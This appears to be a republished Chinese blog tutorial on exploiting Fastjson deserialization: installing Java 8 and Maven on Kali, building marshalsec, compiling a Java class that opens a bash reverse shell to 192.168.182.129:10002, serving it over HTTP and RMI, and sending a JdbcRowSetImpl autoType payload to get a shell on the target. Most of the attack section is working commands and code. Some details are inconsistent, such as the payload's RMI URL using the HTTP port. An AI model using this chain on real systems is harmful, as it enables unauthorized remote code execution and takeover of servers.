java版本共存与fastjson反序列化rmi服务器的搭建

news/2024/10/18 8:26:29/

文章目录

  • java 8下载
  • 远程加载类工具
  • 编译工具mvn
  • 多版本共存
  • 配置mvn
  • 编译marshalsec
  • 编译rce文件
  • 利用marshalsec加载远程RCE类

java_8_3">java 8下载

链接:https://pan.baidu.com/s/1B8U9v8QAe4Vc67Q84_nqcg?pwd=0000
提取码:0000

远程加载类工具

https://github.com/mbechler/marshalsec.git

编译工具mvn

链接:https://pan.baidu.com/s/1Sqo_YkcBIK7mBiY-1ZoRYw?pwd=0000
提取码:0000

多版本共存

启动kail 将java8解压至/usr/local/java中方便管理

mkdir /usr/local/java
tar -zxvf dk-8u202-linux-x64.tar.gz -C  /usr/local/java这里的参数意义如下:-z 表示使用gzip进行解压缩。
-x 表示执行解压操作。
-v 代表在解压过程中显示详细的信息,可以看到正在解压的文件名。
-f 后面跟上需要解压的文件名,这里就是你的.tar.gz文件。
-C 解压到指定路径

改个名字

cd /usr/local/java
mv jdk1.8.0_202 jdk1.8.0

解压好进行配置
在文件/etc/profile尾部添加变量
vim /etc/profile
点键盘i键进行编辑

export JAVA_HOME=/usr/local/java/jdk1.8.0export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH

添加完成后点esc键输入wq进行保存

使用使配置文件生效

source /etc/profile

生效之后使用命令完成jdk版本共存

sudo update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0/bin/java 1500

使用来切换版本

sudo update-alternatives --config java

在这里插入图片描述
这样就成功了
在这里插入图片描述

配置mvn

默认的Linux是没有编译命令的我们需要自己搭建
将Apache Maven解压到/opt目录下
/opt目录主要用于存放第三方应用程序或者非系统自带的软件包

tar -zxvf apache-maven-3.9.6-bin.tar.gz -C /opt 

解压完成后进行配置系统变量编辑 /etc/profile

vim /etc/profile

输入i将变量添加到末尾

export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin

esc 输入wq保存
使用命令生效配置文件

source /etc/profile

检查是否安装完成

mvn -version

但是我改了之后不可以用不知道为什么

编译marshalsec

cd 到marshalsec文件夹进行编译

mvn clean package -DskipTests

在这里插入图片描述
他会哗哗哗下一堆东西
在这里插入图片描述
这样就说明编译好了看一眼我们的jar包就打好了
在这里插入图片描述

编译rce文件

返回主目录新建一个文件夹为fastjson_payload的文件夹

mkdir fastjson_payload

完成后创建java文件

vim rce.java

进行编辑下面代码,记得修改bash shell的ip及nc开放的端口

java">import java.lang.Runtime;
import java.lang.Process;public class Rce {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.182.129/10002 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

创建好后进行编译

javac Rce.java

如果提示没有javac进行一下命令安装重新编译

apt install default-jdk

利用marshalsec加载远程RCE类

编译完成后
在此页面开启一个网页服务

python -m http.server  8082

测试一下能否正常访问
在这里插入图片描述
可以看到能够正常访问到我们的class文件
好了接下来回到我们的marshalsec文件夹开启我们的rmi服务

cd github/marshalsec-rmi
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.182.129:8082/#Rce" 10003

意思就是开放一个marshalsec监听端口10003包含的远程加载类为我们刚刚那个文件夹下的class文件
在这里插入图片描述
新建窗口开启nc监听

nc -lvvp 10002

完成之后根据对方的fastjson版本构造payload
例:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.182.129:8082/Rce","autoCommit":true}}

将payload上传至数据包即可反弹shell


http://www.ppmy.cn/news/1446933.html

相关文章

做外贸如何主动开发外贸客户

在外贸业务中,主动开发客户是至关重要的一步,它能够帮助你扩大市场覆盖范围,建立稳定的客户基础。以下是一些有效的策略和方法,可以帮助你更有效地主动开发外贸客户: 明确目标市场:首先,你需要确…

【机器视觉】Segment Anything模型(SAM) C# 推理

Facebook开源的Segment Anything是一个基于大型预训练模型的计算机视觉工具,它使用一种新的范式来处理图像分割任务。这个范式不依赖于传统的预训练加微调(pretrainfinetune)方法,而是通过提示(prompt)加上…

three.js是啥

three.js是一个基于WebGL的JavaScript 3D库,它可以在浏览器中创建和显示动画的3D图形。这个库提供了许多工具和函数,使得开发者可以更容易地创建复杂的3D场景,包括摄像机、光影、材质等各种对象。 three.js被广泛应用于各种领域,如…

操作DOM:性能优化之道

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…

基于YOLOV8+Pyqt5无人机航拍太阳能电池板检测系统

1.YOLOv8的基本原理 YOLOv8是一种前沿的目标检测技术,它基于先前YOLO版本在目标检测任务上的成功,进一步提升了性能和灵活性,在精度和速度方面都具有尖端性能。在之前YOLO 版本的基础上,YOLOv8 引入了新的功能和优化,…

C#调用skiasharp实现绘制并拖拽图形

SkiaSharp是基于.net的跨平台二维图形库,封装的谷歌的Skia库,SkiaSharp支持在以下平台或运行时中使用,能够在图片中绘图,也提供控件在Winform、WPF等使用。本文学习skiasharp在Winform的基本用法,并参照参考文献5实现绘…

类和对象【三】析构函数和拷贝构造函数

文章目录 析构函数析构函数的定义析构函数的作用主要作用次要作用 析构函数的特点 拷贝构造函数拷贝构造函数的定义拷贝构造函数的作用主要作用次要作用 拷贝构造函数的特点浅拷贝和深拷贝浅拷贝深拷贝 拷贝构造函数的调用场景 析构函数 析构函数的定义 析构函数(destructor) …

Systemback Ubuntu14.04 制作自定义系统ISO镜像

工作需要,要基于ubuntu自定义一些编译环境并将自己配置好的ubuntu做成镜像。 硬件准备 ​ 为保证能够顺利完成系统iso镜像的制作与系统还原,推荐准备一个较大容量的U盘或者移动固态硬盘,同时确保自己的Ubuntu系统还有比较大的可用空间。 1 S…